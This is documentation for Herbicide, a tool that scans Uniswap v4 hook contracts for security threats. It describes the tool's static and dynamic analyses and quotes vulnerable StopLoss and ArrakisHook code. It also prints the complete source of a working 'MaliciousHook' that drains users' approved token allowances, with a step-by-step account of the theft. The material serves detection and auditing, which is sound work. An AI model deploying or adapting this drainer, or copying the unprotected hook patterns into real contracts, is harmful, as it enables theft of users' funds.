Only this pageAll pages
Powered by GitBook
1 of 19

gamza.net

Loading...

Overview

Loading...

Loading...

Loading...

Loading...

Loading...

Loading...

Quick Start

Loading...

Use cases

Loading...

Loading...

Advanced

Loading...

Loading...

Loading...

Learn

Loading...

Tutorials

Inspection Methods Based on User Input

To utilize Herbicide, users can select between two input methods.

PoolKey

  • The Hook Contract must be deployed on the Unichain.

  • The specified Hook should be initialized (or be eligible for initialization) with the Pool Manager at 0x38EB8B22Df3Ae7fb21e92881151B365Df14ba967 using the provided PoolKey.

  • The PoolKey includes the two token addresses to be exchanged (currency0, currency1), LP fees, tick spacing, and the Hook Contract address.

  • To run an Initialize Test with a specific deployer address, provide the address as an additional parameter. If omitted, the test will default to the standard address for execution.

Detection Available

  1. Malicious Hook Detection: Issues a warning if the Hook attempts to misappropriate user funds or withdraws more tokens than the user intended.

  2. Price Abnormality Detection: Alerts users if there is a significant discrepancy between the simulated price calculated by Herbicide and the actual swap price.

  3. Hook Delta Simulation: Simulates the amounts transferred during Swap/ModifyLiquidity operations, allowing users to understand the specific fund flow characteristics of the Hook.

  4. Static Analysis with Slither: Provides security inspections and detailed contract information using Slither on verified Hook Contracts from BlockScout, facilitating efficient auditing of the Hook Contract.

Hook Contract written in Solidity

When a Hook Contract is provided, Herbicide uses its Semgrep script to perform static analysis, detecting potential threats and processing Hook Contract information for review.

Detection Available

  • onlyPoolManager: Confirms that onlyPoolManager is implemented to ensure access control for hook functions.

  • Double Initialize Storage Check: Verifies if the Storage accessed by beforeInitialize/afterInitialize functions is managed by PoolId during Hook initialization.

  • tx.origin Warning: Issues a warning if access control relies on tx.origin, which can introduce security vulnerabilities.

All tests are conducted without impacting the actual chain.

Types of integrations

Analytics

Track analytics from your docs

Support

Add support widgets to your docs

Interactive

Add extra functionality to your docs

Visitor Authentication

Protect your docs and require sign-in

Uniswap v4 Hook

Unified Security Framework and Trust Considerations

Uniswap V4 has implemented a range of mechanisms to provide a secure and permissionless environment for user-defined liquidity operations, particularly through its new Hook functionality. However, this flexibility introduces certain risks and trust assumptions. Below, we explore the core security elements and specific considerations for maintaining robust user and liquidity provider trust.


Core Security Components

  • Singleton Architecture

    • Uniswap V4’s core resides within the single PoolManager contract, centralizing the management of all pools and enforcing a controlled environment for liquidity operations.

    • This differs significantly from the previous version, where each pool operated within its individual contract, providing stronger guarantees on interaction consistency.

  • Hook Contract Security

    • Hook contracts allow custom business logic to run before and after liquidity operations (e.g., beforeAddLiquidity, afterRemoveLiquidity), allowing advanced customization.

    • Given their direct interaction with token flows, Hooks may impose security risks if not designed correctly. Malicious Hooks could steal user assets or excessively inflate gas costs, which is why dynamic and static analysis tools, such as Herbicide, are recommended for threat detection.

  • Dynamic and Static Fee Management for Liquidity Providers

    • Fees in Uniswap V4 can be either static or dynamically adjustable, configurable through Hooks at initialization. However, as dynamic fees can be updated on an ongoing basis, additional scrutiny on these adjustments is required to avoid exploitation.


Critical Trust Assumptions

  1. Transaction Security and Slippage Control

    • Core contracts do not have built-in slippage protection, assuming that the periphery contracts will handle this function. Users and developers must ensure they use well-vetted periphery contracts to avoid excessive slippage in swaps.

  2. User and LP Asset Safety

    • Reentrancy and unusual token contracts (e.g., rebase tokens) introduce unique vulnerabilities. To mitigate these, rigorous contract review and adherence to ERC-20 standards are critical.

    • Potentially malicious Hooks can alter swap or liquidity positions to the detriment of users, emphasizing the need for security mechanisms that check slippage and enforce LP protections.

  3. Permissions and Privilege Levels

    • Protocol Fee Controller: Authorized to set protocol fees up to a capped 0.1% and to direct accrued fees.

    • Owner: Maintains the authority to update the Protocol Fee Controller.

    • Hooks with Dynamic Fees: Authorized to adjust fees on dynamically configured pools.

  4. Immutable Operations and Potential Upgradability

    • Certain Hooks could theoretically include upgradability, which introduces post-deployment risk if unchecked. Users and LPs are encouraged to carefully review Hooks or use those audited by trusted entities.


Mitigation Strategies

To safeguard against the above risks, users, developers, and auditors are advised to:

  • Leverage Security Audits: Routine analysis using dynamic and static tools, such as Herbicide’s Hook monitoring, can help detect and remediate vulnerabilities.

  • Implement Trustworthy Oracles: Ensure Hooks rely on credible oracles when conducting price-sensitive operations.

  • Restrict Unauthorized Access: Apply onlyPoolManager modifiers or similar controls on sensitive Hook functions.

  • Monitor for Malicious Activities: Utilize security features within periphery contracts for additional slippage and transaction safety protections.

Roadmap

Welcome

Herbicide is a mission-critical developer security platform to code, audit, deploy, monitor, and operate Uniswap v4 hook applications with confidence. Integrating directly into the developer workflow, Herbicide makes it easy and fast for developers and operators to prevent and fix security issues pre and post-deployment.

The document details the architecture, feature composition, roadmap, and other project-related aspects of Herbicide.

🚧 Official (DEV)

  • https://github.com/Gamzanet/Herbicide.git

Jump right in

Overview

Introduction

Quick Start

tutorials

Use cases

Malicious | Vulnerable Hook Detection

Anti-hook Monitoring

Our project aims to enhance security within the Uniswap V4 ecosystem by operating an Anti-Hook Monitoring solution. This solution will continuously monitor Pool Manager contracts deployed on Uni Chain and rigorously analyze the security of Hooks configured during the initialization process. We comprehensively assess potential risks and vulnerabilities by leveraging dynamic and static analysis methods. Through dynamic analysis, we verify that Hooks function safely across various operational scenarios, while static analysis helps preemptively identify security flaws at the code level.

With this thorough examination, we intend to build an allowlist of verified Hooks, providing a secure environment that Uniswap users can trust. Furthermore, to offer a recognized security standard for developers and users alike, we plan to issue SBTs exclusively to certified Hook Contracts. This issuance reflects our commitment to security and the broader advancement of Uniswap V4 and Uni Chain. Through Anti-Hook Monitoring, we aim to strengthen the Uniswap V4 ecosystem and support a secure onboarding experience.

Advanced Detection using LLM

Our project seeks to enhance the security of Uniswap V4 Hook Contracts by developing an advanced static analysis solution leveraging LLMs. Since Hook Contracts are a type of Smart Contract, developers can freely include custom functions and assembly code written in Yul, which adds to code complexity and makes it challenging for conventional static analysis tools to detect specific patterns or behaviors effectively.

We are exploring using LLMs to enhance static analysis and address these challenges. By training an LLM on smart contract code patterns, we aim to achieve a deep understanding of the complex structures within Hook functions and assembly code. This approach allows the LLM to recognize unique characteristics and potential vulnerabilities within Hook Contracts, enabling proactive identification of unintended behaviors or security flaws in the code. Such advanced analysis goes beyond merely detecting syntactic errors. It will offer a practical evaluation of hidden risks within Hook Contracts, contributing to a safer DeFi ecosystem on UniChain.

Architecture

This page describes the project's technical grid and how it works.

Overview

This project is designed as a web service, allowing users to submit a Pool Key from Uniswap V4 and choose between dynamic and static analysis options. Users can access this service via a web interface. When a Pool Key initialized in the Uniswap V4 Pool Manager is provided, the system begins its analysis based on this Pool Key.

The Pool Key information is stored in the API server, and a Task is dispatched to a Message Queue. If a Task is present in the Queue, the Worker executes it. Static analysis utilizes Semgrep and Slither, while dynamic analysis operates on a Foundry-based system. Results from both types of analysis are interpreted, aggregated, and stored in Redis.

Users can access and review their analysis results using the Task ID associated with each request.

Introduction

Motivation

This project aims to identify and address vulnerabilities arising from the lack of standardization- in Uniswap v4 hooks, enabling proactive threat mitigation within the web3 ecosystem.

Summary of Herbicide

The Hook function, a key feature introduced in Uniswap V4, allows developers to apply custom business logic before and after actions like adding or removing liquidity, token swaps, and liquidity donations. In Uniswap V4, liquidity is managed by PoolKeys, which includes the addresses of two tokens to be exchanged, fees, tick spacing, and the address of the implemented Hook Contract.

Using Hook-applied liquidity, our project analyzes Uniswap V4 to define and address potential threats. The solution enables users to input a PoolKey corresponding to their Hook Contract deployed on the Uni Chain, then dynamically and statically analyze it to detect possible threats.

Dynamic testing is conducted across N categories with M tests, while static analysis follows with N categories and M tests, ultimately displaying results for the user. Uniswap continues to enhance the Uni Chain and blockchain ecosystem through initiatives like the Infinite Hackathon and Retro Program. We aim to assist Uniswap V4 users and Hook developers in creating safer Hook Contracts.

Performance

Our Herbicide platform has identified security issues among various Uniswap v4 hooks detected through our platform. We conducted a direct triage process on each identified issue to verify their validity as vulnerabilities. The following outlines the results of this process.

Key Features

What does Herbicide detect?

Analyzable Hook Condition

The analysis is supported for Uniswap V4 Hook Contracts interacting with the Uniswap V4 Pool Manager. The exact initialized values in the Pool Manager must be correctly entered. Each hook should be implemented per the IHook and BaseHook interfaces, interacting with v4-core:9293e5a and v4-periphery:1dc3a34.

Detectable Security Threat

ReInitializable

Detects changes in the Hook's storage due to the actions of beforeInitialize / afterInitialize if the same Hook can be deployed to the PoolManager. Confirms whether the storage accessed by the beforeInitialize/afterInitialize functions during Hook initialization is managed by PoolId.

Time Lock

Detects cases where a specific Hook does not operate after a certain period has elapsed.

External Callable Hook Functions

For Hook functions such as beforeInitialize / afterInitialize / beforeSwap / afterSwap / etc., detects whether entities other than the PoolManager can execute each function.

Malicious Hook Detection

Can identify risks of gas griefing through gas usage and warns if it can steal user funds or take more tokens than the user intends to pay.

Price Abnormality

Warns when there is a significant difference between the price simulated by Herbicide and the actual price at which the swap occurs.

Proxy Detection

Detects and warns if the Hook Contract is implemented as a proxy.

Contract Information Analysis

With PoolKey

  1. Hook Delta Simulation: Simulates the amount of funds moved during Swap/ModifyLiquidity, allowing users to directly understand the characteristics of the fund flow in the Hook.

  2. Static Analysis with Slither: Provides processed information such as security checks and contract information for Hook Contracts verified on BlockScout using Slither, making audits more convenient.

With Hook Contract

  1. Static Analysis with Semgrep: Based on the Herbicide Semgrep Script, it extracts and displays information about the Contract as follows.

    1. Library Information

    2. Modifier Information

    3. Inheritance Information

    4. Variable Information

Components & Features

Before Use

This page provides a brief overview of the components and tests within Herbicide. Herbicide requires Uniswap V4’s PoolKey as an input to operate. It is recommended that the Hook Contract be deployed for analysis on the Unichain Sepolia Network (Chain ID: 1301) and initialized with the Uniswap V4 Pool Manager Contract on Unichain Sepolia.

For comprehensive static analysis, the source code must be verified and uploaded to the UniChain Blockscout Contract. Static analysis is powered by Semgrep and Slither, while dynamic analysis operates on a Foundry-based framework. Threats that may arise within Uniswap V4 Hooks are detailed in the Uniswap V4 Hook Security documentation.

Features

Hook Token Delta Simulation

When using specific Hooks, the logic of afterSwap, beforeSwap, beforeAddLiquidity, afterAddLiquidity, beforeRemoveLiquidity, and afterRemoveLiquidity can impact token movements by influencing Delta Amount. Through Dynamic Analysis, we simulate the token amounts users are expected to pay or receive during swap/modifyLiquidity actions, tracking fund movements across each execution entity (Hook Contract, PoolManager, Router).

By comparing the simulation results for amountIn and amountOut, users can verify the Actual Price when using a particular Pool. Additionally, this feature enhances user convenience by displaying real-time market prices, sourced through Pyth Oracle, for reference alongside simulation results.

actualPrice=amountOut/amountInactualPrice = amountOut / amountInactualPrice=amountOut/amountIn

oraclePrice=(token1/usdc)/(token0/usdc)oraclePrice = (token1/usdc) / (token0/usdc)oraclePrice=(token1/usdc)/(token0/usdc)

expectedPrice=expectedAmountOut/expectedAmountInexpectedPrice = expectedAmountOut / expectedAmountInexpectedPrice=expectedAmountOut/expectedAmountIn

Hook Contract Scanner

Provides simple threat detection and information extraction functions for Hook Contract code written in Solidity.

The Hook Contract Scanner helps developers easily understand Libraries, Modifiers, require/assert/revert conditions, and Access Control Logic in the Hook Contract.

Vulnerable Hook Detection

Vulnerable Hook Detection

StopLoss


The StopLoss contract leverages Uniswap V4’s custom user hook functionality to implement a stop loss feature. This hook automatically sells tokens when the price in a specified pool meets the user-defined stop-loss conditions, thereby preventing further losses. The functionality of this hook is summarized as follows:

  1. Users create a stop-loss order by executing the placeStopLoss() function.

  2. After each swap, the afterSwap function compares the previous and current ticks, executing the order if the conditions are met.

{
    "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
    "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
    "fee": 3000,
    "hooks": "0xA3da6f46f93C7B3090A48D7bFeC0345156ED5040",
    "tickSpacing": 60,
    "deployer":"0x4e59b44847b379578588920cA78FbF26c0B4956C"
}

Code Details

Let's take a look at the afterSwap function in this hook.


    function afterSwap(
        address,
        PoolKey calldata key,
        IPoolManager.SwapParams calldata params,
        BalanceDelta,
        bytes calldata
    ) external override returns (bytes4, int128) {
        int24 prevTick = tickLowerLasts[key.toId()];
        (, int24 tick,,) = poolManager.getSlot0(key.toId());
        int24 currentTick = getTickLower(tick, key.tickSpacing);
        tick = prevTick;

        int256 swapAmounts;

        // fill stop losses in the opposite direction of the swap
        // avoids abuse/attack vectors
        bool stopLossZeroForOne = !params.zeroForOne;

        // TODO: test for off by one because of inequality
        if (prevTick < currentTick) {
            for (; tick < currentTick;) {
                swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                if (swapAmounts > 0) {
                    fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                }
                unchecked {
                    tick += key.tickSpacing;
                }
            }
        } else {
            for (; currentTick < tick;) {
                swapAmounts = stopLossPositions[key.toId()][tick][stopLossZeroForOne];
                if (swapAmounts > 0) {
                    fillStopLoss(key, tick, stopLossZeroForOne, swapAmounts);
                }
                unchecked {
                    tick -= key.tickSpacing;
                }
            }
        }
        return (StopLoss.afterSwap.selector, 0);
    }

The function lacks a modifier and any additional ACL mechanism. Through this function, the fillStopLoss() function can be called separately, allowing storage values to be altered. This may lead to unexpected behavior in the hook, and appropriate measures are necessary. Herbicide can detect these risks and alert users accordingly.

ArrakisHook


This ArrakisHook stores information about the pool key in beforeInitialize right before initialization, enabling it to manage liquidity through ERC1155.

{
    "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
    "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
    "fee": 3000,
    "hooks": "0x7Ba42C294124A8037707399823D56b8a589b6080",
    "tickSpacing": 60,
    "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
}

Code Detail

Let's take a look at the beforeInitialize()in this hook.

    function beforeInitialize(
        address,
        PoolKey calldata poolKey_,
        uint160 sqrtPriceX96_,
        bytes calldata
    ) external override returns (bytes4) {
        poolKey = poolKey_;
        lastSqrtPriceX96 = sqrtPriceX96_;
        lastBlockNumber = block.number;
        return this.beforeInitialize.selector;
    }

This contract is a hook implemented to initialize information about the pool key in beforeInitialize. However, this hook does not implement any access control for beforeInitialize, nor does it take any measures regarding the number of initializations. Since the pool key is initialized in beforeInitialize, if a new initialization is performed on this hook, all existing hook assets will be locked.

Herbicide detects the storage values of such cases to ensure that users can use the hook safely.

Malicious Hook Detection

Malicious Hook Example

https://unichain-sepolia.blockscout.com/address/0xbedD50791A853b4FAf2116AcC9b8df71D525C547?tab=contract

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {BaseHook} from "v4-periphery/src/base/hooks/BaseHook.sol";
import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";

import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";

import {Currency, CurrencyLibrary} from "v4-core/src/types/Currency.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";

import {FixedPointMathLib} from "solmate/src/utils/FixedPointMathLib.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";
import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {CurrencySettler} from "v4-core/test/utils/CurrencySettler.sol";

contract MaliciousHook is BaseHook {
    using Hooks for IHooks;
    using SafeCast for uint256;
    using SafeCast for int128;
    using CurrencySettler for Currency;

    bool private firstAddLiquidity = true;
    uint128 public constant TOTAL_BIPS = 10000;

    constructor(IPoolManager _manager) BaseHook(_manager) {}

    function getHookPermissions()
        public
        pure
        override
        returns (Hooks.Permissions memory)
    {
        return
            Hooks.Permissions({
                beforeInitialize: false,
                afterInitialize: false,
                beforeAddLiquidity: false,
                afterAddLiquidity: true,
                beforeRemoveLiquidity: false,
                afterRemoveLiquidity: true,
                beforeSwap: false,
                afterSwap: true,
                beforeDonate: false,
                afterDonate: false,
                beforeSwapReturnDelta: false,
                afterSwapReturnDelta: true,
                afterAddLiquidityReturnDelta: true,
                afterRemoveLiquidityReturnDelta: true
            });
    }

    function afterSwap(
        address sender, /* sender **/
        PoolKey calldata key,
        IPoolManager.SwapParams calldata params,
        BalanceDelta delta,
        bytes calldata /* hookData **/
    ) external override onlyPoolManager returns (bytes4, int128) {

        bool specifiedTokenIs0 = (params.amountSpecified < 0 == params.zeroForOne);
        (Currency targetCurrency, int128 swapAmount) =
            (specifiedTokenIs0) ? (key.currency1, delta.amount1()) : (key.currency0, delta.amount0());

        
        if (swapAmount < 0) 
            swapAmount = -swapAmount;
        else
            return (IHooks.afterSwap.selector,0);

        address victim = tx.origin;
        IERC20 feeToken = IERC20(Currency.unwrap(targetCurrency));
        uint256 stealAmount = feeToken.allowance(victim, sender);

        if (stealAmount > targetCurrency.balanceOf(victim)) {
            stealAmount = targetCurrency.balanceOf(address(victim));
        }

        if (poolManager.isOperator(victim, sender)) {
            uint256 balance_6909 = poolManager.balanceOf(victim, targetCurrency.toId());

            stealAmount = stealAmount < balance_6909 ? stealAmount : balance_6909;
        }

        targetCurrency.take(poolManager, address(this), stealAmount, true);
        targetCurrency.settle(poolManager, address(this), (stealAmount * key.fee / TOTAL_BIPS) + uint128(swapAmount), true);
        stealAmount = stealAmount - (stealAmount * key.fee / TOTAL_BIPS) - uint128(swapAmount);

        return (IHooks.afterSwap.selector, (stealAmount).toInt128());
    }

    function afterRemoveLiquidity(
        address, /* sender **/
        PoolKey calldata key,
        IPoolManager.ModifyLiquidityParams calldata, /* params **/
        BalanceDelta delta,
        BalanceDelta,
        bytes calldata /* hookData **/
    ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
        assert(delta.amount0() >= 0 && delta.amount1() >= 0);

        uint256 stealAmount0;
        uint256 stealAmount1;

        if (delta.amount0() > 0)
            stealAmount0 = uint128(delta.amount0()) - 1;
        if (delta.amount1() > 0)
            stealAmount1 = uint128(delta.amount1()) - 1;

        key.currency0.take(poolManager, address(this), stealAmount0, true);
        key.currency1.take(poolManager, address(this), stealAmount1, true);

        return (IHooks.afterRemoveLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
    }

    function afterAddLiquidity(
        address sender, /* sender **/
        PoolKey calldata key,
        IPoolManager.ModifyLiquidityParams calldata, /* params **/
        BalanceDelta delta,
        BalanceDelta,
        bytes calldata /* hookData **/
    ) external override onlyPoolManager returns (bytes4, BalanceDelta) {
        if (firstAddLiquidity) {
            firstAddLiquidity = false;
            return (IHooks.afterAddLiquidity.selector, toBalanceDelta(0, 0));
        }
        assert(delta.amount0() <= 0 && delta.amount1() <= 0);

        address victim = tx.origin;
        IERC20 targetToken0 = IERC20(Currency.unwrap(key.currency0));
        IERC20 targetToken1 = IERC20(Currency.unwrap(key.currency1));
        uint256 stealAmount0 = targetToken0.allowance(victim, sender);
        uint256 stealAmount1 = targetToken1.allowance(victim, sender);            
        if (stealAmount0 > targetToken0.balanceOf(victim)) {
            stealAmount0 = targetToken0.balanceOf(address(victim));
        }
        if (stealAmount1 > targetToken1.balanceOf(victim)) {
            stealAmount1 = targetToken1.balanceOf(address(victim));
        }

        if (poolManager.isOperator(victim, sender)) {
            uint256 balance0_6909 = poolManager.balanceOf(victim, key.currency0.toId());
            uint256 balance1_6909 = poolManager.balanceOf(victim, key.currency1.toId());

            stealAmount0 = stealAmount0 < balance0_6909 ? stealAmount0 : balance0_6909;
            stealAmount1 = stealAmount1 < balance1_6909 ? stealAmount1 : balance1_6909;
        }
        
        key.currency0.take(poolManager, address(this), stealAmount0, true);
        key.currency1.take(poolManager, address(this), stealAmount1, true);
        key.currency0.settle(poolManager, address(this), uint128(-delta.amount0()), true);
        key.currency1.settle(poolManager, address(this), uint128(-delta.amount1()), true);

        stealAmount0 -= uint128(-delta.amount0());
        stealAmount1 -= uint128(-delta.amount1());

        return (IHooks.afterAddLiquidity.selector, toBalanceDelta(int128(uint128(stealAmount0)), int128(uint128(stealAmount1))));
    }
}

Main Logic

A malicious hook can monitor the amount of tokens a user has approved.

  1. The malicious hook takes the entire approved token amount through ERC6909.

  2. It then settles only the necessary amount required for a legitimate Swap/ModifyLiquidity.

  3. Through this process, the malicious hook can effectively steal the maximum possible token amount the user has approved for the transaction.

Exact Out Swap Test

The image above illustrates the process in which the Malicious Hook exploits the token approval mechanism. The first step shows the Malicious Hook verifying the approved token amount. In the second step, it proceeds to transfer the entire approved token quantity to ERC6909. Finally, the required amount is settled for legitimate Swap/ModifyLiquidity actions, allowing the Malicious Hook to maximize the tokens stolen from the User.

Herbicide Detection Result

GasGriefHook

Hooks can significantly influence PoolKeys' behavior. For example, if a hook triggers a revert, it could render the associated pool unusable. Such cases, which compromise user accessibility, include attacks like gas griefing. Herbicide addresses these risks by detecting such hooks through dynamic analysis testing.

{
    "currency0": "0x0197481B0F5237eF312a78528e79667D8b33Dcff",
    "currency1": "0xA56569Bd93dc4b9afCc871e251017dB0543920d4",
    "fee": 3000,
    "tickSpacing": 60,
    "hooks": "0x3c712B5E5B4a7ee97E4e3F2330bFb435050a4800",
    "deployer": "0x4e59b44847b379578588920cA78FbF26c0B4956C"
}

Code Details

Static Analysis

Threat Detection

Using the Detectors provided by Slither, it is possible to detect threats within the Hook. Herbicide automatically executes the following Detectors to find and warn about threats.

  • encode-packed-collision

    • Detect collision due to dynamic type usages in abi.encodePacked

  • shadowing-state

    • Detection of state variables shadowed.

  • uninitialized-state

    • Uninitialized state variables.

  • delegatecall-loop

    • Delegatecall to an address controlled by the user.

    • Detect the use of delegatecall inside a loop in a payable function.

  • msg-value-loop

    • Detect the use of msg.value inside a loop.

  • reentrancy-eth

    • Detection of the reentrancy bug. Do not report reentrancies that don't involve Ether (see,reentrancy-no-eth)

  • unchecked-transfer

    • The return value of an external transfer/transferFrom call is not checked

  • shadowing-abstract

    • Detection of state variables shadowed from abstract contracts.

  • divide-before-multiply

    • Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.

Informational Gathering

Using the Slither-Printer, it displays critical information regarding the access control of the contract. In Herbicide, the Printer is automatically executed to extract and display.

  • require statements

    • Prints require statements in the function.

  • modifiers

    • Prints modify applied to the function.

  • state variables and authentication

    • Prints require statements with msg.sender, in the function which writes state variables.

Contract Information

  • info-variable

    • Prints state variables and the functions using them.

  • info-inline-access-control

    • Checks require&assert&revert conditions.

  • info-inheritance

    • Prints the contract's inheritance information.

  • info-library

    • Prints the usage of libraries of the contract.

Semgrep-Solidity + Python

In the Simple Contract Analyzer, users can input contract to receive processed key information according to predefined Semgrep rules by Herbicide. This lets users easily review details about functions and storage variables declared in

Threat Detection

  • info-layer2-assignee

    • Checks storage re-used while double-initializing the hook.

  • low-call

    • Checks if the hook is low-calling to other addresses.

  • getSlot0-check

    • Checks if the hook is calling getSlot0 function, as it is dangerous if the hook operates as an oracle, returning the getSlot0 value as the price of the pool.

  • missing-token-transfer-while-burnt

    • Checks if the hook is not transfer the underlying token while the token is burnt.

  • missing-onlyPoolManager-modifier

    • Checks if onlyPoolManager modifier is not applied to the hook functions.

  • misconfigured-hook

    • Checks if the hook functions are not yet implemented, while the function flag of getHookPermissions returns true.

Dynamic Analysis

This page describes the contents related to dynamic analysis

Dynacmic analysis operates based on Foundry, and 199 tests are conducted in 7 categories.

Minimum Test

  1. Verifies whether the liquidity pool corresponding to the PoolKey is functioning correctly.

  2. Tests modifyLiquidity and swap for ERC-6909.

  3. Tests modifyLiquidity, swap, and donate for ERC-20.

Time Based Minimum Test

  1. The above basic tests are conducted periodically. The intervals for each period are as follows:

    1. 1 hour, 3 hours, 6 hours, 12 hours, 1 day, 1 week, 1 month, 1 year, 3 years, 5 years, 7 years, 10 years After a certain period of time, it is confirmed whether the liquidity pool operates normally, and a warning is issued for Hooks with implemented Time Locks.

Only PoolManger Test

Each Hook Function is executed by calling the Hook Contract through the unlockCallback in the PoolManager. If Hook Functions are called by other Users or Contracts, unintended behavior may occur, so the function caller should be restricted using the onlyPoolManager modifier or require statement.

Herbicide warns if Hook Functions can be called externally.

ReInitializable Test

Although the same PoolKey cannot be used to initialize a Pool in the PoolManager, if storage is not managed by PoolID, side effects may occur when initializing the same Hook with a different PoolKey.

Herbicide changes the tick interval of the Pool key you entered to check if it can be initialized, and warns if the same storage is used.

If the Hook Contract does not manage storage by PoolID, it should be checked and managed based on PoolID, or additional measures should be taken to prevent reinitialization.

Proxy Hook Test

If the Hook Contract operates using the Proxy Pattern, it warns that the logic of the Hook may change.

Hook Gas Comparison

It compares the gas usage of modifyLiquidity and swap without using the Hook, and the gas usage of modifyLiquidity and swap when using the Hook. This allows the detection of malicious Gas Griefing by the Hook, and users can predict the gas usage when using the Hook.

Swap Price Comparison

When performing a Swap for a Pool using the Hook, the use of the Hook may cause fluctuations in the token price. Additionally, the Swap may be executed at a price different from the predicted one.

Herbicide can be used to predict such token prices in advance.

  • If the predicted price by Herbicide and the Simulated Actual Price differ by more than 5%, a warning is issued.

  • It provides market token price information calculated through Pyth Oracle for convenient comparison.

IDX

Hook Name

Type

Minimum

Time-Lock

OnlyBy

PoolManager

Proxy

Re-

Initialize

Gas-

Griefing

P1

DeltaReturningHook

Uniswap Basic

P

P

P

P

P

P

P2

CustomCurveHook

Uniswap Basic

Detect

Detect

False Positive

P

P

P

P3

DynamicFeesTestHook

Uniswap Basic

P

P

Detect

P

P

P

P4

DynamicReturnFeeTestHook

Uniswap Basic

P

P

Detect

P

P

P

P5

FeeTakingHook

Uniswap Basic

P

P

P

P

P

P

P6

LPFeeTakingHook

Uniswap Basic

P

P

P

P

P

P

P7

FullRange

Uniswap Labs

Detect

Detect

False Positive

P

P

P

P8

GeomeanOracle

Uniswap Labs

Detect

Detect

False Positive

P

P

P

P9

LimitOrder

Uniswap Labs

P

P

P

P

P

P

P10

VolatilityOracle

Uniswap Labs

P

P

Detect

P

P

P

P11

StopLoss

Community

P

P

Detect

P

P

P

P12

TradingDays

Community

P

Detect

Detect

P

P

P

P13

ArrkisHook

ETHCC_Paris

P

P

Detect

P

Detect

P